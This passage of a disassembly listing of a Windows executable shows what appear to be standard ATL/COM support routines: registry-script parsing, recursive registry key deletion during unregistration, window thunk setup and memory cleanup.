		cmp	byte ptr [edx],	0
		jnz	short loc_401850


loc_4018A3:				; CODE XREF: sub_401810+3Aj
					; sub_401810+4Dj
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_4018BD
		mov	byte ptr [edi],	0
		mov	ecx, [esi]
		push	ecx
		call	ebp	; CharNextA
		pop	edi
		pop	ebp
		mov	[esi], eax
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4018BD:				; CODE XREF: sub_401810+71j
					; sub_401810+98j ...
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 80020009h
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 10h


loc_4018D0:				; CODE XREF: sub_401810+2Cj
					; sub_401810+108j
		mov	ebx, [esi]
		movsx	eax, byte ptr [ebx]
		add	eax, 0FFFFFFF7h
		cmp	eax, 17h	; switch 24 cases
		ja	short loc_4018EB ; default
					; jumptable 004018E4 cases 2,3,5-22
		movzx	edx, ds:byte_401930[eax]
		jmp	ds:off_401928[edx*4] ; switch jump


loc_4018EB:				; CODE XREF: sub_401810+CBj
					; DATA XREF: .text:off_401928o
		push	ebx		; default
					; jumptable 004018E4 cases 2,3,5-22
		call	ebp	; CharNextA
		mov	ecx, [esp+10h+arg_0]
		add	ecx, 1000h
		lea	edx, [edi+2]
		cmp	edx, ecx
		mov	[esi], eax
		jnb	short loc_4018BD
		cmp	ebx, eax
		jnb	short loc_401913
		mov	eax, ebx


loc_401907:				; CODE XREF: sub_401810+101j
		mov	cl, [eax]
		mov	[edi], cl
		mov	ecx, [esi]
		inc	eax
		inc	edi
		cmp	eax, ecx
		jb	short loc_401907


loc_401913:				; CODE XREF: sub_401810+F3j
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_4018D0


loc_40191A:				; CODE XREF: sub_401810+D4j
					; DATA XREF: .text:off_401928o
		mov	byte ptr [edi],	0 ; jumptable 004018E4 cases 0,1,4,23
		pop	edi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
sub_401810	endp

; ---------------------------------------------------------------------------
		align 4
off_401928	dd offset loc_40191A	; DATA XREF: sub_401810+D4r
		dd offset loc_4018EB	; jump table for switch	statement
byte_401930	db	0,     0,     1,     1 ; DATA XREF: sub_401810+CDr
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401950	proc near		; CODE XREF: sub_404100+CFp
					; sub_404100+517p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ds:dword_40F088
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, offset off_40F288


loc_401962:				; CODE XREF: sub_401950+25j
		mov	eax, [esi]
		push	eax
		push	edi
		call	ebx	; lstrcmpi
		test	eax, eax
		jz	short loc_401982
		add	esi, 4
		cmp	esi, offset aTypelib ; "TypeLib"
		jl	short loc_401962
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_401982:				; CODE XREF: sub_401950+1Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	4
sub_401950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401990	proc near		; CODE XREF: sub_404100+507p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	ecx, [esp+4+arg_0]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [esp+20h+var_4]
		push	eax
		push	0
		push	0
		push	0
		push	ecx
		mov	[esp+34h+var_4], 0
		call	ds:dword_40F014	; RegQueryInfoKeyA
		test	eax, eax
		jz	short loc_4019C7
		xor	eax, eax
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_4019C7:				; CODE XREF: sub_401990+2Fj
		mov	eax, [esp+4+var_4]
		xor	edx, edx
		cmp	edx, eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn	4
sub_401990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4019E0	proc near		; CODE XREF: sub_404100+10Ap
					; sub_404100+299p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  4

		mov	eax, 1000h
		call	__alloca_probe
		push	esi
		push	edi
		mov	edi, [esp+1008h+arg_0]
		cmp	byte ptr [edi],	3Dh
		mov	esi, ecx
		jnz	short loc_401A27
		push	edi
		call	sub_401810
		test	eax, eax
		jl	short loc_401A29
		mov	ecx, esi
		call	sub_4017B0
		lea	eax, [esp+1008h+var_1000]
		push	eax
		mov	ecx, esi
		call	sub_401810
		test	eax, eax
		jl	short loc_401A29
		push	edi
		mov	ecx, esi
		call	sub_401810
		test	eax, eax
		jl	short loc_401A29


loc_401A27:				; CODE XREF: sub_4019E0+18j
		xor	eax, eax


loc_401A29:				; CODE XREF: sub_4019E0+22j
					; sub_4019E0+39j ...
		pop	edi
		pop	esi
		add	esp, 1000h
		retn	4
sub_4019E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A40	proc near		; CODE XREF: sub_402A90+86p
		test	esi, esi
		jnz	short loc_401A47
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_401A47:				; CODE XREF: sub_401A40+2j
		cmp	word ptr [esi],	0
		mov	eax, esi
		mov	ecx, esi
		jz	short loc_401A76


loc_401A51:				; CODE XREF: sub_401A40+34j
		mov	dx, [ecx]
		test	dx, dx
		jz	short loc_401A5C
		add	ecx, 2


loc_401A5C:				; CODE XREF: sub_401A40+17j
		cmp	dx, 5Ch
		jz	short loc_401A6E
		cmp	dx, 2Fh
		jz	short loc_401A6E
		cmp	dx, 3Ah
		jnz	short loc_401A70


loc_401A6E:				; CODE XREF: sub_401A40+20j
					; sub_401A40+26j
		mov	eax, ecx


loc_401A70:				; CODE XREF: sub_401A40+2Cj
		cmp	word ptr [ecx],	0
		jnz	short loc_401A51


loc_401A76:				; CODE XREF: sub_401A40+Fj
		sub	eax, esi
		sar	eax, 1
		retn
sub_401A40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401A80	proc near		; CODE XREF: WinMain(x,x,x,x)+2Bp

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short loc_401AAA
		mov	edx, [eax]
		mov	dword_4124C4, edx
		mov	edx, [eax+4]
		mov	dword_4124C8, edx
		mov	edx, [eax+8]
		mov	dword_4124CC, edx
		mov	eax, [eax+0Ch]
		mov	dword_4124D0, eax


loc_401AAA:				; CODE XREF: sub_401A80+6j
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401ACF
		test	esi, esi
		mov	[ecx+2Ch], esi
		jz	short loc_401ACF
		cmp	dword ptr [esi], 0
		jz	short loc_401ACF


loc_401AC0:				; CODE XREF: sub_401A80+4Dj
		push	1
		call	dword ptr [esi+20h]
		mov	eax, [esi+24h]
		add	esi, 24h
		test	eax, eax
		jnz	short loc_401AC0


loc_401ACF:				; CODE XREF: sub_401A80+32j
					; sub_401A80+39j ...
		mov	esi, off_412548
		cmp	esi, off_41254C
		jnb	short loc_401AF7
		lea	ecx, [ecx+0]


loc_401AE0:				; CODE XREF: sub_401A80+75j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401AEB
		push	1
		call	dword ptr [eax+20h]


loc_401AEB:				; CODE XREF: sub_401A80+64j
		mov	eax, off_41254C
		add	esi, 4
		cmp	esi, eax
		jb	short loc_401AE0


loc_401AF7:				; CODE XREF: sub_401A80+5Bj
		xor	eax, eax
		pop	esi
		retn	0Ch
sub_401A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B00	proc near		; CODE XREF: sub_402210+84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_401B12
		mov	eax, 80070057h
		pop	edi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_401B12:				; CODE XREF: sub_401B00+7j
		mov	ecx, [edi+0Ch]
		push	esi
		mov	esi, [edi+8]
		cmp	esi, ecx
		mov	eax, 1
		jnb	short loc_401B4E
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	ebp
		mov	ebp, [esp+10h+arg_4]
		lea	esp, [esp+0]


loc_401B30:				; CODE XREF: sub_401B00+4Aj
		test	eax, eax
		jl	short loc_401B4C
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_401B42
		push	ebx
		push	ebp
		push	ecx
		call	sub_401420


loc_401B42:				; CODE XREF: sub_401B00+38j
		mov	ecx, [edi+0Ch]
		add	esi, 4
		cmp	esi, ecx
		jb	short loc_401B30


loc_401B4C:				; CODE XREF: sub_401B00+32j
		pop	ebp
		pop	ebx


loc_401B4E:				; CODE XREF: sub_401B00+20j
		pop	esi
		pop	edi
		retn	0Ch
sub_401B00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B60	proc near		; CODE XREF: sub_4022A0+37p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_401B72
		mov	eax, 80070057h
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_401B72:				; CODE XREF: sub_401B60+7j
		mov	ecx, [edi+0Ch]
		push	esi
		mov	esi, [edi+8]
		xor	eax, eax
		cmp	esi, ecx
		jnb	short loc_401BA5
		push	ebx
		mov	ebx, ds:dword_40F264


loc_401B86:				; CODE XREF: sub_401B60+42j
		test	eax, eax
		jnz	short loc_401BA4
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_401B9A
		mov	eax, [ecx+14h]
		test	eax, eax
		jz	short loc_401B9A
		push	eax
		call	ebx


loc_401B9A:				; CODE XREF: sub_401B60+2Ej
					; sub_401B60+35j
		mov	ecx, [edi+0Ch]
		add	esi, 4
		cmp	esi, ecx
		jb	short loc_401B86


loc_401BA4:				; CODE XREF: sub_401B60+28j
		pop	ebx


loc_401BA5:				; CODE XREF: sub_401B60+1Dj
		pop	esi
		pop	edi
		retn	4
sub_401B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401BB0	proc near		; CODE XREF: sub_402170+6Ap
					; sub_403050+16p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		jnz	short loc_401BC8
		push	ebx
		push	ebx
		push	1
		push	0C0000005h
		call	ds:dword_40F044	; RaiseException


loc_401BC8:				; CODE XREF: sub_401BB0+7j
		push	esi
		mov	esi, [ebx+8]
		test	esi, esi
		jz	short loc_401BEA
		push	edi


loc_401BD1:				; CODE XREF: sub_401BB0+37j
		mov	eax, [esi+4]
		push	eax
		call	dword ptr [esi]
		mov	edi, [esi+8]
		push	esi		; Memory
		call	j__free
		add	esp, 4
		test	edi, edi
		mov	esi, edi
		jnz	short loc_401BD1
		pop	edi


loc_401BEA:				; CODE XREF: sub_401BB0+1Ej
		pop	esi
		mov	dword ptr [ebx+8], 0
		pop	ebx
		retn	4
sub_401BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C00	proc near		; CODE XREF: .text:00404B71p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		test	eax, eax
		jnz	short loc_401C1E
		push	0Dh
		push	4
		call	ds:dword_40F07C	; GetProcessHeap
		push	eax
		call	ds:dword_40F080	; RtlAllocateHeap
		mov	[esi+0Ch], eax


loc_401C1E:				; CODE XREF: sub_401C00+8j
		mov	eax, [esi+0Ch]
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	edx, eax
		push	0Dh
		sub	edx, 0Dh
		push	eax
		mov	dword ptr [eax], 42444C7h
		mov	[eax+4], ecx
		mov	byte ptr [eax+8], 0E9h
		mov	[eax+9], edx
		call	ds:dword_40F074	; GetCurrentProcess
		push	eax
		call	ds:dword_40F070	; FlushInstructionCache
		pop	esi
		retn	8
sub_401C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C60	proc near		; CODE XREF: sub_401E30+67p
					; sub_401E30+74p ...
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jz	short loc_401C7D


loc_401C68:				; CODE XREF: sub_401C60+1Bj
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax		; Memory
		mov	[esi], ecx
		call	_free
		mov	eax, [esi]
		add	esp, 4
		test	eax, eax
		jnz	short loc_401C68


loc_401C7D:				; CODE XREF: sub_401C60+6j
		pop	esi
		retn
sub_401C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C80	proc near		; CODE XREF: sub_402570+Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi+8]
		xor	esi, esi
		test	eax, eax
		jle	short loc_401CB7
		mov	ebx, [esp+10h+arg_0]
		mov	ebp, ds:dword_40F088
		lea	esp, [esp+0]


loc_401CA0:				; CODE XREF: sub_401C80+35j
		mov	eax, [ebx]
		mov	ecx, [edi]
		mov	ecx, [ecx+esi*4]
		push	eax
		push	ecx
		call	ebp	; lstrcmpi
		test	eax, eax
		jz	short loc_401CC1
		mov	eax, [edi+8]
		inc	esi
		cmp	esi, eax
		jl	short loc_401CA0


loc_401CB7:				; CODE XREF: sub_401C80+Dj
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_401CC1:				; CODE XREF: sub_401C80+2Dj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_401C80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401CD0	proc near		; CODE XREF: sub_403D70+EEp
					; sub_403D70+1A8p ...
		mov	eax, [ecx]
		push	eax		; Memory
		call	_free
		pop	ecx
		retn
sub_401CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_401CE0(size_t Size)

sub_401CE0	proc near		; CODE XREF: sub_402FD0+Fp
					; sub_403000+Fp

Size		= dword	ptr  4

		mov	eax, [esp+Size]
		push	esi
		push	edi
		push	eax		; Size
		mov	edi, ecx
		call	_malloc
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_401D01
		push	8007000Eh
		call	loc_4012B0


loc_401D01:				; CODE XREF: sub_401CE0+15j
		mov	[edi], esi
		pop	edi
		pop	esi
		retn	4
sub_401CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D10	proc near		; CODE XREF: sub_4066F0+85Dp
					; sub_406FE0+4DFp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_401D2A
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	dword ptr [esi+4], 0


loc_401D2A:				; CODE XREF: sub_401D10+8j
		mov	eax, [esi]
		push	eax
		call	ds:dword_40F194
		pop	esi
		retn
sub_401D10	endp

; ---------------------------------------------------------------------------
		align 10h


loc_401D40:				; DATA XREF: WinMain(x,x,x,x)+10Bo
		mov	ecx, [esp+4]
		call	sub_401000
		xor	eax, eax
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D50	proc near		; DATA XREF: .rdata:0040F598o
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+8]
		push	eax
		call	ds:dword_40F06C	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_401D72
		mov	ecx, [esi+34h]
		push	ecx
		mov	byte ptr [esi+38h], 1
		call	ds:dword_40F08C	; SetEvent


loc_401D72:				; CODE XREF: sub_401D50+12j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_401D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401D80	proc near		; CODE XREF: sub_402310+42p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jnz	short loc_401D91
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_401D91:				; CODE XREF: sub_401D80+Bj
		mov	edx, [esi]
		push	edi
		lea	ecx, [esp+8+arg_0]
		push	ecx
		push	eax
		push	edx
		mov	[esp+14h+arg_0], 0
		call	sub_40A570
		mov	edi, eax
		test	edi, edi
		jl	short loc_401DBD
		mov	eax, [esi]
		push	eax
		call	ds:dword_40F194
		mov	ecx, [esp+8+arg_0]
		mov	[esi], ecx


loc_401DBD:				; CODE XREF: sub_401D80+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_401D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401DD0	proc near		; CODE XREF: sub_4030B0+29p
					; .text:004031D7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		push	eax
		call	ds:dword_40F194
		mov	edi, [esp+0Ch+arg_4]
		mov	ebx, [esp+0Ch+arg_0]
		mov	ecx, edi
		shr	ecx, 4
		inc	ecx
		movzx	edx, cx
		push	6
		push	edx
		push	ebx
		mov	dword ptr [esi], 0
		call	ds:dword_40F064	; FindResourceA
		test	eax, eax
		jz	short loc_401E22
		push	edi
		push	eax
		push	ebx
		call	sub_401380
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E22
		movzx	ecx, word ptr [eax]
		push	ecx
		add	eax, 2
		push	eax
		call	ds:dword_40F18C
		mov	[esi], eax


loc_401E22:				; CODE XREF: sub_401DD0+31j
					; sub_401DD0+40j
		mov	eax, [esi]
		pop	edi
		test	eax, eax
		pop	esi
		setnz	al
		pop	ebx
		retn	8
sub_401DD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401E30	proc near		; CODE XREF: sub_402310+1Dp
					; sub_403350+22Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		push	eax
		mov	[esp+18h+var_4], esi
		call	ds:dword_40F194
		mov	ebp, [esp+14h+arg_0]
		xor	edi, edi
		cmp	ebp, edi
		jz	short loc_401EAD
		call	off_412040
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	ebp
		mov	ebx, eax
		push	edi
		push	ebx
		mov	[esp+2Ch+arg_0], edi
		call	ds:dword_40F038	; MultiByteToWideChar
		mov	esi, eax
		lea	ecx, [esi-1]
		push	ecx
		push	edi
		call	ds:dword_40F18C
		mov	edi, eax
		test	edi, edi
		jz	short loc_401EA0
		push	esi
		push	edi
		push	0FFFFFFFFh
		push	ebp
		push	0
		push	ebx
		call	ds:dword_40F038	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_401EA0
		push	edi
		call	ds:dword_40F194
		lea	ecx, [esp+14h+arg_0]
		call	sub_401C60
		xor	edi, edi
		jmp	short loc_401EA9
; ---------------------------------------------------------------------------


loc_401EA0:				; CODE XREF: sub_401E30+48j
					; sub_401E30+5Aj
		lea	ecx, [esp+14h+arg_0]
		call	sub_401C60


loc_401EA9:				; CODE XREF: sub_401E30+6Ej
		mov	esi, [esp+14h+var_4]


loc_401EAD:				; CODE XREF: sub_401E30+1Cj
		test	edi, edi
		mov	[esi], edi
		jnz	short loc_401EC1
		test	ebp, ebp
		jz	short loc_401EC1
		push	8007000Eh
		call	loc_4012B0


loc_401EC1:				; CODE XREF: sub_401E30+81j
					; sub_401E30+85j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
sub_401E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401ED0	proc near		; CODE XREF: sub_402B60+2B3p
					; sub_402B60+2BBp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401EE6
		push	eax
		call	ds:dword_40F020	; RegCloseKey
		mov	dword ptr [esi], 0


loc_401EE6:				; CODE XREF: sub_401ED0+7j
		pop	esi
		retn
sub_401ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EF0	proc near		; CODE XREF: sub_401EF0+AFp
					; sub_404100+E8p ...

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 118h
		mov	edx, [esp+118h+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		lea	ecx, [esp+120h+var_110]
		push	ecx
		push	2001Fh
		push	0
		push	edx
		push	eax
		mov	[esp+134h+var_10C], edi
		mov	[esp+134h+var_118], 0
		mov	[esp+134h+var_110], 0
		call	ds:dword_40F00C	; RegOpenKeyExA
		mov	ecx, [esp+120h+var_118]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_401F4E
		test	ecx, ecx
		jz	short loc_401F40
		push	ecx
		call	ds:dword_40F020	; RegCloseKey


loc_401F40:				; CODE XREF: sub_401EF0+47j
		test	eax, eax
		mov	ecx, [esp+120h+var_110]
		mov	esi, eax
		mov	[esp+120h+var_118], ecx
		jz	short loc_401F6A


loc_401F4E:				; CODE XREF: sub_401EF0+43j
		test	ecx, ecx
		jz	loc_40200D
		push	ecx
		call	ds:dword_40F020	; RegCloseKey
		pop	edi
		mov	eax, esi
		pop	esi
		add	esp, 118h
		retn	4
; ---------------------------------------------------------------------------


loc_401F6A:				; CODE XREF: sub_401EF0+5Cj
		mov	esi, ds:dword_40F018
		lea	eax, [esp+120h+var_108]
		push	eax
		push	0
		push	0
		push	0
		lea	edx, [esp+130h+var_114]
		push	edx
		lea	eax, [esp+134h+var_100]
		push	eax
		push	0
		push	ecx
		mov	[esp+140h+var_114], 100h
		call	esi	; RegEnumKeyExA
		test	eax, eax
		jnz	short loc_401FD4


loc_401F96:				; CODE XREF: sub_401EF0+DEj
		lea	ecx, [esp+120h+var_100]
		push	ecx
		lea	ecx, [esp+124h+var_118]
		call	sub_401EF0
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40201A
		lea	edx, [esp+120h+var_108]
		push	edx
		mov	edx, [esp+124h+var_118]
		push	eax
		push	eax
		push	eax
		lea	eax, [esp+130h+var_114]
		push	eax
		lea	ecx, [esp+134h+var_100]
		push	ecx
		push	edi
		push	edx
		mov	[esp+140h+var_114], 100h
		call	esi	; RegEnumKeyExA
		test	eax, eax
		jz	short loc_401F96
		mov	edi, [esp+120h+var_10C]


loc_401FD4:				; CODE XREF: sub_401EF0+A4j
		mov	eax, [esp+120h+var_118]
		test	eax, eax
		jz	short loc_401FEB
		push	eax
		call	ds:dword_40F020	; RegCloseKey
		mov	[esp+120h+var_118], 0


loc_401FEB:				; CODE XREF: sub_401EF0+EAj
		mov	eax, [esp+120h+arg_0]
		mov	ecx, [edi]
		push	eax
		push	ecx
		call	ds:dword_40F008	; RegDeleteKeyA
		mov	esi, eax
		mov	eax, [esp+120h+var_118]
		test	eax, eax
		jz	short loc_40200D
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_40200D:				; CODE XREF: sub_401EF0+60j
					; sub_401EF0+114j
		pop	edi
		mov	eax, esi
		pop	esi
		add	esp, 118h
		retn	4
; ---------------------------------------------------------------------------


loc_40201A:				; CODE XREF: sub_401EF0+B8j
		mov	eax, [esp+120h+var_118]
		test	eax, eax
		jz	short loc_402029
		push	eax
		call	ds:dword_40F020	; RegCloseKey


loc_402029:				; CODE XREF: sub_401EF0+130j
		mov	eax, edi
		pop	edi
		pop	esi
		add	esp, 118h
		retn	4
sub_401EF0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402040:				; CODE XREF: sub_4020D0+7p
					; sub_4024D0+Cp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		push	edi
		xor	edi, edi
		test	eax, eax
		jle	short loc_402085
		lea	ecx, [ecx+0]


loc_402050:				; CODE XREF: .text:00402083j
		test	edi, edi
		jl	short loc_4020BD
		cmp	edi, [esi+8]
		jge	short loc_4020BD
		mov	eax, [esi]
		mov	ecx, [eax+edi*4]
		push	ecx
		call	j_j__free
		mov	eax, [esi+8]
		add	esp, 4
		cmp	edi, eax
		jge	short loc_4020BD
		mov	edx, [esi+4]
		mov	eax, [edx+edi*4]
		push	eax
		call	j_j__free
		mov	eax, [esi+8]
		add	esp, 4
		inc	edi
		cmp	edi, eax
		jl	short loc_402050


loc_402085:				; CODE XREF: .text:0040204Bj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40209A
		push	eax
		call	_free
		add	esp, 4
		mov	dword ptr [esi], 0


loc_40209A:				; CODE XREF: .text:00402089j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4020B1
		push	eax
		call	_free
		add	esp, 4
		mov	dword ptr [esi+4], 0


loc_4020B1:				; CODE XREF: .text:0040209Fj
		pop	edi
		mov	dword ptr [esi+8], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4020BD:				; CODE XREF: .text:00402052j
					; .text:00402057j ...
		push	0
		push	0
		push	1
		push	0C000008Ch
		call	ds:dword_40F044	; RaiseException
; ---------------------------------------------------------------------------
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4020D0	proc near		; DATA XREF: .rdata:0040F538o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 4
		call	loc_402040
		retn	4
sub_4020D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4020E0	proc near		; CODE XREF: sub_40E979+93p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jz	short loc_4020F7
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_402157
		cmp	eax, 2Ch
		jz	short loc_402101


loc_4020F7:				; CODE XREF: sub_4020E0+Aj
		pop	edi
		mov	eax, 80070057h
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_402101:				; CODE XREF: sub_4020E0+15j
		cmp	[esi+24h], edi
		push	ebx
		push	ebp
		jle	short loc_402130
		mov	ebx, [esp+10h+arg_4]
		mov	ebp, ds:dword_40F224


loc_402112:				; CODE XREF: sub_4020E0+4Cj
		test	edi, edi
		jl	short loc_40215E
		cmp	edi, [esi+24h]
		jge	short loc_40215E
		mov	eax, [esi+20h]
		movzx	ecx, word ptr [eax+edi*2]
		push	ebx
		push	ecx
		call	ebp	; UnregisterClassA
		mov	eax, [esi+24h]
		inc	edi
		cmp	edi, eax
		jl	short loc_402112
		xor	edi, edi


loc_402130:				; CODE XREF: sub_4020E0+26j
		mov	eax, [esi+20h]
		cmp	eax, edi
		jz	short loc_402143
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esi+20h], edi


loc_402143:				; CODE XREF: sub_4020E0+55j
		lea	edx, [esi+4]
		push	edx
		mov	[esi+24h], edi
		mov	[esi+28h], edi
		call	ds:dword_40F054	; RtlDeleteCriticalSection
		pop	ebp
		mov	[esi], edi
		pop	ebx


loc_402157:				; CODE XREF: sub_4020E0+10j
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020E0+34j
					; sub_4020E0+39j
		push	0
		push	0
		push	1
		push	0C000008Ch
		call	ds:dword_40F044	; RaiseException
		int	3		; Trap to Debugger
sub_4020E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402170	proc near		; CODE XREF: WinMain(x,x,x,x)+268p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+2Ch]
		test	esi, esi
		jz	short loc_4021A3
		cmp	dword ptr [esi], 0
		jz	short loc_4021A3


loc_402180:				; CODE XREF: sub_402170+31j
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_40218D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40218D:				; CODE XREF: sub_402170+15j
		push	0
		mov	dword ptr [esi+10h], 0
		call	dword ptr [esi+20h]
		mov	eax, [esi+24h]
		add	esi, 24h
		test	eax, eax
		jnz	short loc_402180


loc_4021A3:				; CODE XREF: sub_402170+9j
					; sub_402170+Ej
		mov	esi, off_412548
		cmp	esi, off_41254C
		jnb	short loc_4021C8


loc_4021B1:				; CODE XREF: sub_402170+56j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4021BC
		push	0
		call	dword ptr [eax+20h]


loc_4021BC:				; CODE XREF: sub_402170+45j
		mov	eax, off_41254C
		add	esi, 4
		cmp	esi, eax
		jb	short loc_4021B1


loc_4021C8:				; CODE XREF: sub_402170+3Fj
		mov	eax, [edi+4]
		test	eax, eax
		lea	esi, [edi+4]
		jz	short loc_402203
